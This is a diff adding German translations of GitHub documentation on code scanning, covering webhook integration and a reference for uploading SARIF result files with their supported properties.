@@ -0,0 +1,30 @@
+---
+title: Auffinden von Sicherheitsrisiken und Fehlern in deinem Code mit Codeüberprüfung
+shortTitle: Code scanning
+intro: 'Halte deinen Code geschützt, indem du {% data variables.product.prodname_code_scanning %} verwendest, um potenzielle Sicherheitsrisiken und andere Fehler in deinem Code aufzuspüren und zu beheben.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/managing-security-vulnerabilities/finding-security-vulnerabilities-in-your-projects-code
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code
+  - /code-security/secure-coding
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+children:
+  - /automatically-scanning-your-code-for-vulnerabilities-and-errors
+  - /integrating-with-code-scanning
+  - /using-codeql-code-scanning-with-your-existing-ci-system
+ms.openlocfilehash: 5957996adfd4caa94fdecd9a4e13c066e7270bc0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105011'
+---
+
diff --git a/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md b/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md
new file mode 100644
index 0000000000..91b0d93bb8
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md
@@ -0,0 +1,43 @@
+---
+title: About integration with code scanning
+shortTitle: About integration
+intro: 'You can perform {% data variables.product.prodname_code_scanning %} externally and then display the results in {% data variables.product.prodname_dotcom %}, or set up webhooks that listen to {% data variables.product.prodname_code_scanning %} activity in your repository.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-integration-with-code-scanning
+  - /code-security/secure-coding/about-integration-with-code-scanning
+  - /code-security/secure-coding/integrating-with-code-scanning/about-integration-with-code-scanning
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Advanced Security
+  - Code scanning
+  - Webhooks
+  - Integration
+---
+
+
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+As an alternative to running {% data variables.product.prodname_code_scanning %} within {% data variables.product.prodname_dotcom %}, you can perform analysis elsewhere and then upload the results. Alerts for {% data variables.product.prodname_code_scanning %} that you run externally are displayed in the same way as those for  {% data variables.product.prodname_code_scanning %} that you run within {% data variables.product.prodname_dotcom %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
+
+If you use a third-party static analysis tool that can produce results as Static Analysis Results Interchange Format (SARIF) 2.1.0 data, you can upload this to {% data variables.product.prodname_dotcom %}. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)."
+
+{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %}
+{% data reusables.code-scanning.about-analysis-origins-link %}
+{% endif %}
+
+## Integrations with webhooks
+
+You can use {% data variables.product.prodname_code_scanning %} webhooks to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), that subscribe to {% data variables.product.prodname_code_scanning %} events in your repository. For example, you could build an integration that creates an issue on {% data variables.product.product_name %} or sends you a Slack notification when a new {% data variables.product.prodname_code_scanning %} alert is added in your repository. For more information, see "[Creating webhooks](/developers/webhooks-and-events/creating-webhooks)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)."
+
+## Further reading
+
+* "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)"
+* "[Using {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} with your existing CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system)"
+* "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)"
diff --git a/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/index.md b/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/index.md
new file mode 100644
index 0000000000..b7dceac214
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/index.md
@@ -0,0 +1,30 @@
+---
+title: Integrieren der Codeüberprüfung
+shortTitle: Integrate with code scanning
+intro: 'Du kannst Codeanalysetools von Drittanbietern und {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_code_scanning %} integrieren, indem du Daten als SARIF-Dateien hochlädst.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-results-from-code-scanning
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/integrating-with-code-scanning
+  - /code-security/secure-coding/integrating-with-code-scanning
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+  - Code scanning
+  - Integration
+children:
+  - /about-integration-with-code-scanning
+  - /uploading-a-sarif-file-to-github
+  - /sarif-support-for-code-scanning
+ms.openlocfilehash: 8c1a80ed1cc695b82e9a1902db1a2f1e1389ae3a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105007'
+---
+
diff --git a/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md b/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md
new file mode 100644
index 0000000000..65090071d6
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md
@@ -0,0 +1,559 @@
+---
+title: SARIF-Unterstützung für die Codeüberprüfung
+shortTitle: SARIF support
+intro: "Um Ergebnisse aus einem statischen Drittanbieter-Analysetool in deinem Repository auf {% data variables.product.prodname_dotcom %} anzuzeigen, müssen deine Ergebnisse in einer SARIF-Datei gespeichert sein, die einen bestimmten Teil des JSON-Schemas von SARIF\_2.1.0 für {% data variables.product.prodname_code_scanning %} unterstützt. Wenn du die statische Standard-Analyse-Engine von {% data variables.product.prodname_codeql %} verwendest, werden deine Ergebnisse automatisch in deinem Repository auf {% data variables.product.prodname_dotcom %} angezeigt."
+product: '{% data reusables.gated-features.code-scanning %}'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-sarif-support-for-code-scanning
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/sarif-support-for-code-scanning
+  - /code-security/secure-coding/sarif-support-for-code-scanning
+  - /code-security/secure-coding/integrating-with-code-scanning/sarif-support-for-code-scanning
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Advanced Security
+  - Code scanning
+  - Integration
+  - SARIF
+ms.openlocfilehash: 98d0e4620d240c3e1863aaee6f57a5834c86018b
+ms.sourcegitcommit: aa488e9e641139f9056885b1479c8801e9906131
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: '148162791'
+---
+{% data reusables.code-scanning.beta %}
+
+## Informationen zur SARIF-Unterstützung
+
+SARIF (Static Analysis Results Interchange Format) ist ein [OASIS-Standard](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html), der ein Ausgabedateiformat definiert. Der SARIF-Standard wird verwendet, um zu optimieren, wie statische Analysetools ihre Ergebnisse freigeben. Das {% data variables.product.prodname_code_scanning_capc %} unterstützt eine Teilmenge des SARIF 2.1.0-JSON-Schemas.
+
+Um eine SARIF-Datei aus einer Drittanbieter-Engine für die statische Codeanalyse hochzuladen, musst du sicherstellen, dass die hochgeladenen Dateien die SARIF 2.1.0-Version verwenden. {% data variables.product.prodname_dotcom %} analysiert die SARIF-Datei und zeigt Warnungen an, die die Ergebnisse in deinem Repository als Teil der {% data variables.product.prodname_code_scanning %}-Erfahrung verwenden. Weitere Informationen findest du unter [Hochladen einer SARIF-Datei auf {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github). Weitere Informationen zum SARIF 2.1.0-JSON-Schema findest du unter [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json).
+
+Wenn du {% data variables.product.prodname_actions %} mit dem {% data variables.code-scanning.codeql_workflow %}{% ifversion codeql-runner-supported %}, {% data variables.code-scanning.codeql_runner %},{% endif %} oder der {% data variables.product.prodname_codeql_cli %} nutzt, verwenden die {% data variables.product.prodname_code_scanning %}-Ergebnisse automatisch die unterstützte Teilmenge von SARIF 2.1.0. Weitere Informationen findest du unter [Einrichten der {% data variables.product.prodname_code_scanning %} für ein Repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository){% ifversion codeql-runner-supported %}, [Ausführen von {% data variables.code-scanning.codeql_runner %} in deinem CI-System](/code-security/secure-coding/running-codeql-runner-in-your-ci-system){% endif %} oder [Installieren der CodeQL-CLI in deinem CI-System](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system).
+
+Du kannst mehrere SARIF-Dateien für denselben Commit hochladen und die Daten aus jeder Datei als {% data variables.product.prodname_code_scanning %}-Ergebnisse anzeigen. Wenn du mehrere SARIF-Dateien für einen Commit hochlädst, musst du eine „Kategorie“ für jede Analyse angeben. Das Angeben einer Kategorie variiert je nach Analysemethode:
+- Wenn du direkt die {% data variables.product.prodname_codeql_cli %} verwendest, übergib beim Generieren von SARIF-Dateien das `--sarif-category`-Argument an den `codeql database analyze`-Befehl. Weitere Informationen findest du unter [Konfigurieren der CodeQL-CLI in deinem CI-System](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#about-generating-code-scanning-results-with-codeql-cli).
+- Wenn du {% data variables.product.prodname_actions %} mit `codeql-action/analyze` verwendest, wird die Kategorie automatisch über den Workflownamen und beliebige Matrixvariablen (in der Regel `language`) festgelegt. Du kannst dies überschreiben, indem du eine `category`-Eingabe für die Aktion angibst, was beim Analysieren verschiedener Abschnitte eines Monorepositorys in einem einzelnen Workflow nützlich ist.
+- Bei Verwendung von {% data variables.product.prodname_actions %} zum Hochladen von Ergebnissen aus anderen Tools für die statische Analyse musst du eine `category`-Eingabe angeben, wenn du mehr als eine Ergebnisdatei für dasselbe Tool in einem Workflow hochlädst. Weitere Informationen findest du unter [Hochladen einer {% data variables.product.prodname_code_scanning %}-Analyse mit {% data variables.product.prodname_actions %}](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions).
+- Wenn du keinen dieser beiden Ansätze verwendest, musst du in jeder SARIF-Datei, die hochgeladen werden soll, eine eindeutige `runAutomationDetails.id`-Eigenschaft angeben. Weitere Informationen zu dieser Eigenschaft findest du im Abschnitt zum [`runAutomationDetails`-Objekt](#runautomationdetails-object) weiter unten.
+
+Wenn du eine zweite SARIF-Datei für einen Commit mit derselben Kategorie und aus demselben Tool hochlädst, werden die früheren Ergebnisse überschrieben. Sollten du jedoch versuchen, mehrere SARIF-Dateien für dasselbe Tool und dieselbe Kategorie in einer einzelnen {% data variables.product.prodname_actions %}-Workflowausführung hochzuladen, wird die Fehlkonfiguration erkannt, und bei der Ausführung tritt ein Fehler auf.
+
+{% data variables.product.prodname_dotcom %} verwendet Eigenschaften in der SARIF-Datei, um Warnungen anzuzeigen. Beispielsweise werden `shortDescription` und `fullDescription` oben in einer {% data variables.product.prodname_code_scanning %}-Warnung angezeigt. `location` ermöglicht {% data variables.product.prodname_dotcom %} das Anzeigen von Anmerkungen in deiner Codedatei. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_code_scanning %}-Warnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository).
+
+Wenn du noch nicht mit SARIF vertraut bist und mehr erfahren möchtest, kannst du dir das Repository [`SARIF tutorials`](https://github.com/microsoft/sarif-tutorials) von Microsoft ansehen.
+
+## Bereitstellen von Daten zum Nachverfolgen von ausführungsübergreifenden {% data variables.product.prodname_code_scanning %}-Warnungen
+
+Jedes Mal, wenn die Ergebnisse eines neuen Codescans hochgeladen werden, werden die Ergebnisse verarbeitet und dem Repository Warnungen hinzugefügt. Um doppelte Warnungen für dasselbe Problem zu verhindern, verwendet das {% data variables.product.prodname_code_scanning %} Fingerabdrücke, um Ergebnisse in verschiedenen Ausführungen abzugleichen, sodass sie nur einmal in der letzten Ausführung für den ausgewählten Branch angezeigt werden. So ist es möglich, beim Bearbeiten von Dateien Warnungen den richtigen Codezeilen zuzuordnen. Die `ruleID` für ein Ergebnis muss für alle Analysen gleich lauten.
+ 
+### Melden konsistenter Dateipfade
+
+Der Dateipfad muss über alle Ausführungen hinweg konsistent sein, damit ein stabiler Fingerabdruck berechnet werden kann. Wenn sich die Dateipfade für dasselbe Ergebnis unterscheiden, wird bei jeder neuen Analyse eine neue Warnung erstellt und die alte geschlossen. Dies führt dazu, dass für dasselbe Ergebnis mehrere Warnungen ausgegeben werden.
+
+### Einschließen von Daten zum Generieren eines Fingerabdrucks
+
+{% data variables.product.prodname_dotcom %} verwendet die `partialFingerprints`-Eigenschaft im OASIS-Standard, um zu erkennen, wann zwei Ergebnisse logisch identisch sind. Weitere Informationen findest du im Eintrag zur [Eigenschaft „partFingerprints“](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611) in der OASIS-Dokumentation.
+
+SARIF-Dateien, die über den {% data variables.code-scanning.codeql_workflow %}, {% ifversion codeql-runner-supported %}mit dem {% data variables.code-scanning.codeql_runner %} {% endif %}oder der {% data variables.product.prodname_codeql_cli %} erstellt wurden, enthalten Fingerabdruckdaten. Wenn du eine SARIF-Datei mithilfe der `upload-sarif`-Aktion hochlädst und diese Daten fehlen, versucht {% data variables.product.prodname_dotcom %}, das `partialFingerprints`-Feld aus den Quelldateien aufzufüllen. Weitere Informationen zum Hochladen von Ergebnissen findest du unter [Hochladen einer SARIF-Datei auf {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions).
+
+Wenn du eine SARIF-Datei mithilfe des API-Endpunkts `/code-scanning/sarifs` ohne Fingerabdruckdaten hochlädst, werden {% data variables.product.prodname_code_scanning %}-Warnungen verarbeitet und angezeigt, aber Benutzer*innen werden möglicherweise doppelte Warnungen angezeigt. Um zu vermeiden, dass doppelte Warnungen angezeigt werden, solltest du Fingerabdruckdaten berechnen und die `partialFingerprints`-Eigenschaft auffüllen, bevor du die SARIF-Datei hochlädst. Möglicherweise erachtest du das Skript, das die `upload-sarif`-Aktion verwendet, als hilfreichen Startpunkt: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. Weitere Informationen zur API findest du unter [Hochladen einer Analyse als SARIF-Daten](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data).
+
+## Grundlegendes zu Regeln und Ergebnissen
+
+SARIF-Dateien unterstützen sowohl Regeln als auch Ergebnisse. Die in diesen Elementen gespeicherten Informationen sind ähnlich, dienen jedoch unterschiedlichen Zwecken.
+
+- Regeln sind ein Array von `reportingDescriptor`-Objekten, die im `toolComponent`-Objekt enthalten sind. Hier speicherst du Details der Regeln, die während der Analyse ausgeführt werden. Informationen in diesen Objekten sollten sich selten ändern – normalerweis nur, wenn du das Tool aktualisierst.
+
+- Ergebnisse werden als Eine Reihe von `result`-Objekten unter `results` im `run`-Objekt gespeichert. Jedes `result`-Objekt enthält Details zu einer Warnung in der Codebasis. Innerhalb des `results`-Objekts kannst du auf die Regel verweisen, die die Warnung erkannt hat.
+
+Wenn du SARIF-Dateien vergleichst, die durch die Analyse verschiedener Codebasen mit demselben Tool und den gleichen Regeln generiert werden, solltest du Unterschiede in den Ergebnissen der Analysen, aber nicht in den Regeln sehen.
+
+## Angeben des Stamms für Quelldateien
+
+{% data variables.product.prodname_code_scanning_capc %} interpretiert Ergebnisse, die mit relativen Pfaden gemeldet werden, als relativ zum Stamm des analysierten Repositorys. Wenn ein Ergebnis einen absoluten URI enthält, wird er in einen relativen URI konvertiert. Der relative URI kann dann mit einer Datei abgeglichen werden, die per Commit in das Repository übertragen wurde.
+
+Du kannst den Quellstamm für die Konvertierung von absoluten in relative URIs auf eine der folgenden Arten bereitstellen.
+
+- [`checkout_path`](https://github.com/github/codeql-action/blob/c2c0a2908e95769d01b907f9930050ecb5cf050d/analyze/action.yml#L44-L47)-Eingabe für die Aktion `github/codeql-action/analyze`
+- `checkout_uri`-Parameter für den API-Endpunkt zum SARIF-Upload. Weitere Informationen findest du unter [{% data variables.product.prodname_code_scanning_capc %}](/rest/code-scanning#upload-an-analysis-as-sarif-data) in der REST-API-Dokumentation
+- [`invocation.workingDirectory.uri`](https://docs.oasis-open.org/sarif/sarif/v2.1.0/csprd01/sarif-v2.1.0-csprd01.html#_Toc9244365)-Eigenschaft in der SARIF-Datei
+
+Wenn du einen Quellstamm angibst, muss jeder Speicherort eines Artefakts, der mit einem absoluten URI angegeben wird, das gleiche URI-Schema verwenden. Wenn das URI-Schema für den Quellstamm und mindestens einen der absoluten URIs nicht übereinstimmen, wird der Upload abgelehnt.
+
+Ein Beispiel: Eine SARIF-Datei wird mit dem Quellstamm `file:///github/workspace` hochgeladen. 
+
+```
+# Conversion of absolute URIs to relative URIs for location artifacts
+
+file:///github/workspace/src/main.go -> src/main.go
+file:///tmp/go-build/tmp.go          -> file:///tmp/go-build/tmp.go
+```
+
+Der Upload der Datei ist erfolgreich, weil beide absoluten URIs das gleiche URI-Schema verwenden wie der Quellstamm.
+
+## Überprüfen deiner SARIF-Datei
+
+<!--UI-LINK: When code scanning fails, the error banner shown in the Security > Code scanning alerts view links to this anchor.-->
+
+Du kannst eine SARIF-Datei mit {% data variables.product.prodname_code_scanning %} kompatibel sein, indem du sie anhand der {% data variables.product.prodname_dotcom %}}-Aufnahmeregeln testest. Weitere Informationen findest du auf der [Seite mit dem SARIF-Validator von Microsoft](https://sarifweb.azurewebsites.net/).
+
+{% data reusables.code-scanning.upload-sarif-alert-limit %}
+
+## Unterstützte SARIF-Ausgabedateieigenschaften
+
+Wenn du eine andere Codeanalyse-Engine als {% data variables.product.prodname_codeql %} verwendest, kannst du die unterstützten SARIF-Eigenschaften überprüfen, um zu optimieren, wie deine Analyseergebnisse auf {% data variables.product.prodname_dotcom %} angezeigt werden.
+
+{% note %}
+
+**Hinweis:** Du musst für jede als erforderlich gekennzeichnete Eigenschaft einen expliziten Wert angeben. Die leere Zeichenfolge wird für erforderliche Eigenschaften nicht unterstützt.
+
+{% endnote %}
+
+Jede gültige SARIF 2.1.0-Ausgabedatei kann hochgeladen werden, aber das {% data variables.product.prodname_code_scanning %} verwendet nur die folgenden unterstützten Eigenschaften.
+
+### `sarifLog`-Objekt
+
+| Name | BESCHREIBUNG |
+|----|----|
+|  `$schema` | **Erforderlich.** URI des SARIF-JSON-Schemas für Version 2.1.0. Beispiel: `https://json.schemastore.org/sarif-2.1.0.json`. |
+| `version` | **Erforderlich.** Das {% data variables.product.prodname_code_scanning_capc %} unterstützt nur die SARIF-Version `2.1.0`.
+| `runs[]` | **Erforderlich.** Eine SARIF-Datei enthält ein Array einer oder mehrerer Ausführungen. Jede Ausführung stellt eine einzelne Ausführung eines Analysetools dar. Weitere Informationen zu einem `run` findest du im Abschnitt zum [`run`-Objekt](#run-object).
+
+### `run`-Objekt
+
+Das {% data variables.product.prodname_code_scanning_capc %} verwendet das `run`-Objekt, um Ergebnisse nach Tool zu filtern und Informationen zur Quelle eines Ergebnisses bereitzustellen. Das `run`-Objekt enthält das `tool.driver`-Toolkomponentenobjekt, das Informationen zum Tool enthält, das die Ergebnisse generiert hat. Jeder `run` kann nur Ergebnisse für ein Analysetool umfassen.
+
+| Name | BESCHREIBUNG |
+|----|----|
+| `tool.driver` | **Erforderlich.** Ein `toolComponent`-Objekt, das das Analysetool beschreibt. Weitere Informationen findest du im Abschnitt zum [`toolComponent`-Objekt](#toolcomponent-object). |
+| `tool.extensions[]` | **Optional.** Ein Array von `toolComponent`-Objekten, die alle Plug-Ins oder Erweiterungen darstellen, die das Tool während der Analyse verwendet. Weitere Informationen findest du im Abschnitt zum [`toolComponent`-Objekt](#toolcomponent-object). |
+| `invocation.workingDirectory.uri` | **Optional.** Dieses Feld wird ausschließlich dann verwendet, wenn `checkout_uri` (nur SARIF-Upload-API) oder `checkout_path` (nur {% data variables.product.prodname_actions %}) nicht angegeben wurden. Der Wert wird verwendet, um absolute URIs, die in [`physicalLocation`-Objekten](#physicallocation-object) verwendet werden, in relative URIs umzuwandeln. Weitere Informationen findest du unter [Angeben des Stamms für Quelldateien](#specifying-the-root-for-source-files).|
+| `results[]` | **Erforderlich.** Ergebnisse des Analysetools. Das {% data variables.product.prodname_code_scanning_capc %} zeigt die Ergebnisse auf {% data variables.product.prodname_dotcom %} an. Weitere Informationen findest du im Abschnitt zum [`result`-Objekt](#result-object).
+
+### `toolComponent`-Objekt
+
+| Name | BESCHREIBUNG |
+|----|----|
+| `name` | **Erforderlich.** Name des Analysetools. Das {% data variables.product.prodname_code_scanning_capc %} zeigt den Namen auf {% data variables.product.prodname_dotcom %} an, damit du die Ergebnisse nach Tool filtern kannst. |
+| `version` | **Optional.** Version des Analysetools. Das {% data variables.product.prodname_code_scanning_capc %} verwendet die Versionsnummer, um nachzuverfolgen, wann die Ergebnisse aufgrund einer Toolversionsänderung und nicht wegen einer Änderung im analysierten Code geändert wurden. Wenn die SARIF-Datei das `semanticVersion`-Feld enthält, wird `version` nicht vom {% data variables.product.prodname_code_scanning %} verwendet. |
+| `semanticVersion` | **Optional.** Version des Analysetools, angegeben durch das Format für die semantische Versionierung 2.0. Das {% data variables.product.prodname_code_scanning_capc %} verwendet die Versionsnummer, um nachzuverfolgen, wann die Ergebnisse aufgrund einer Toolversionsänderung und nicht wegen einer Änderung im analysierten Code geändert wurden. Wenn die SARIF-Datei das `semanticVersion`-Feld enthält, wird `version` nicht vom {% data variables.product.prodname_code_scanning %} verwendet. Weitere Informationen findest du unter [Semantische Versionierung 2.0.0](https://semver.org/) in der Dokumentation zur semantischen Versionierung. |
+| `rules[]` | **Erforderlich.** Array von `reportingDescriptor`-Objekten, die Regeln darstellen. Das Analysetool verwendet Regeln zum Suchen von Problemen im analysierten Code. Weitere Informationen findest du im Abschnitt zum [`reportingDescriptor`-Objekt](#reportingdescriptor-object). |
+
+### `reportingDescriptor`-Objekt
+
+Hier speicherst du Details der Regeln, die während der Analyse ausgeführt werden. Informationen in diesen Objekten sollten sich selten ändern – normalerweis nur, wenn du das Tool aktualisierst. Weitere Informationen findest du weiter oben unter [Grundlegendes zu Regeln und Ergebnissen](#understanding-rules-and-results).
+
+| Name | BESCHREIBUNG |
+|----|----|
+| `id` |  **Erforderlich.** Eindeutiger Bezeichner für die Regel. Auf die `id` wird von anderen Teilen der SARIF-Datei verwiesen, und sie kann vom {% data variables.product.prodname_code_scanning %} verwendet werden, um URLs auf {% data variables.product.prodname_dotcom %} anzuzeigen. |
+| `name` | **Optional.** Der Name der Regel. Das {% data variables.product.prodname_code_scanning_capc %} zeigt den Namen auf {% data variables.product.prodname_dotcom %} an, damit die Ergebnisse nach Tool gefiltert werden können. |
+| `shortDescription.text` | **Erforderlich.** Präzise Beschreibung der Regel. Das {% data variables.product.prodname_code_scanning_capc %} zeigt die kurze Beschreibung auf {% data variables.product.prodname_dotcom %} neben den zugeordneten Ergebnissen an.
+| `fullDescription.text` | **Erforderlich.** Eine Beschreibung der Regel. Das {% data variables.product.prodname_code_scanning_capc %} zeigt die vollständige Beschreibung auf {% data variables.product.prodname_dotcom %} neben den zugeordneten Ergebnissen an. Die maximale Zeichenanzahl ist auf 1000 beschränkt.
+| `defaultConfiguration.level` | **Optional.** Standardschweregrad der Regel. Das {% data variables.product.prodname_code_scanning_capc %} verwendet Schweregrade, damit du verstehst, wie wichtig das Ergebnis für eine bestimmte Regel ist. Dieser Wert kann durch das `level`-Attribut im `result`-Objekt überschrieben werden. Weitere Informationen findest du im Abschnitt zum [`result`-Objekt](#result-object). Standardwert: `warning`.
+| `help.text` | **Erforderlich.** Dokumentation für die Regel mithilfe des Textformats. Das {% data variables.product.prodname_code_scanning_capc %} zeigt diese Hilfedokumentation neben den zugeordneten Ergebnissen an.
+| `help.markdown` | **Empfohlen.** Dokumentation für die Regel mithilfe des Markdown-Formats. Das {% data variables.product.prodname_code_scanning_capc %} zeigt diese Hilfedokumentation neben den zugeordneten Ergebnissen an. Wenn `help.markdown` verfügbar ist, wird dieses Element anstelle von `help.text` angezeigt.
+| `properties.tags[]` | **Optional.** Ein Array der Zeichenfolgen. Das {% data variables.product.prodname_code_scanning_capc %} verwendet `tags`, damit du Ergebnisse auf {% data variables.product.prodname_dotcom %} filtern kannst. Beispielsweise kannst du nach allen Ergebnissen filtern, die das Tag `security` umfassen.
+| `properties.precision` | **Empfohlen.** Zeichenfolge, die angibt, wie oft die von dieser Regel angegebenen Ergebnisse „true“ sind. Wenn eine Regel beispielsweise bekanntermaßen eine hohe False-Positive-Rate aufweist, sollte die Genauigkeit `low` entsprechen. Das {% data variables.product.prodname_code_scanning_capc %} ordnet Ergebnisse nach Genauigkeit auf {% data variables.product.prodname_dotcom %} an, sodass die Ergebnisse mit dem höchsten `level` und dem höchsten `precision`-Wert zuerst angezeigt werden. Dies kann `very-high`, `high`, `medium` oder `low` entsprechen. 
+| `properties.problem.severity` | **Empfohlen.** Zeichenfolge, die den Schweregrad aller Warnungen angibt, die von einer nicht sicherheitsrelevanten Abfrage generiert werden. Dies bestimmt mit der `properties.precision`-Eigenschaft, ob die Ergebnisse standardmäßig auf {% data variables.product.prodname_dotcom %} angezeigt werden, sodass die Ergebnisse mit der höchsten `problem.severity` und dem höchsten `precision`-Wert zuerst angezeigt werden. Diese können `error`, `warning` oder `recommendation` lauten.
+| `properties.security-severity` | **Empfohlen.** Zeichenfolge, die eine Bewertung darstellt, die den Schweregrad zwischen 0.0 und 10.0 für Sicherheitsabfragen angibt (`@tags` umfasst `security`). Dies bestimmt mit der `properties.precision`-Eigenschaft, ob die Ergebnisse standardmäßig auf {% data variables.product.prodname_dotcom %} angezeigt werden, sodass die Ergebnisse mit der höchsten `security-severity` und dem höchsten `precision`-Wert zuerst angezeigt werden. Das {% data variables.product.prodname_code_scanning_capc %} übersetzt numerische Bewertungen wie folgt: über 9.0 entspricht `critical`, 7.0 bis 8.9 ergibt `high`, 4.0 bis 6.9 hat `medium` die Bewertung zur Folge und 3.9 oder weniger entspricht `low`. 
+
+### `result`-Objekt
+
+Jedes `result`-Objekt enthält Details zu einer Warnung in der Codebasis. Innerhalb des `results`-Objekts kannst du auf die Regel verweisen, die die Warnung erkannt hat. Weitere Informationen findest du weiter oben unter [Grundlegendes zu Regeln und Ergebnissen](#understanding-rules-and-results).
+
+{% data reusables.code-scanning.upload-sarif-alert-limit %}
+
+| Name | BESCHREIBUNG |
+|----|----|
+| `ruleId`| **Optional.** Eindeutiger Bezeichner der Regel (`reportingDescriptor.id`). Weitere Informationen findest du im Abschnitt zum [`reportingDescriptor`-Objekt](#reportingdescriptor-object). Das {% data variables.product.prodname_code_scanning_capc %} verwendet den Regelbezeichner, damit du Ergebnisse nach Regel auf {% data variables.product.prodname_dotcom %} filtern kannst.
+| `ruleIndex`| **Optional.** Index der zugeordneten Regel (`reportingDescriptor`-Objekt) im `rules`-Toolkomponentenarray. Weitere Informationen findest du im Abschnitt zum [`run`-Objekt](#run-object). Zulässiger Bereich für diese Eigenschaft: 0 bis 2^63 – 1.
+| `rule`| **Optional.** Verweis, der zum Suchen der Regel (Berichterstellungsdeskriptor) für dieses Ergebnis verwendet wird. Weitere Informationen findest du im Abschnitt zum [`reportingDescriptor`-Objekt](#reportingdescriptor-object).
+| `level`| **Optional.** Schweregrad des Ergebnisses. Diese Ebene überschreibt den Standardschweregrad, der von der Regel definiert wird. Das {% data variables.product.prodname_code_scanning_capc %} verwendet die Ebene zum Filtern der Ergebnisse nach Schweregrad auf {% data variables.product.prodname_dotcom %}.
+| `message.text`| **Erforderlich.** Meldung, in der das Ergebnis beschrieben wird. Das {% data variables.product.prodname_code_scanning_capc %} zeigt den Meldungstext als Titel des Ergebnisses an. Nur der erste Satz der Meldung wird angezeigt, wenn der sichtbare Bereich begrenzt ist.
+| `locations[]`| **Erforderlich.** Gruppe der Speicherorte (maximal 10), an denen das Ergebnis gefunden wurde. Nur ein Speicherort sollte einbezogen werden, es sei denn, das Problem kann nur behoben werden, indem an jedem Speicherort eine Änderung vorgenommen wird. **Hinweis:** Mindestens ein Speicherort ist für das {% data variables.product.prodname_code_scanning %} erforderlich, um ein Ergebnis anzuzeigen. Das {% data variables.product.prodname_code_scanning_capc %} verwendet diese Eigenschaft, um zu entscheiden, welche Datei mit dem Ergebnis kommentiert werden soll. Nur der erste Wert dieses Arrays wird verwendet. Alle anderen Werte werden ignoriert.
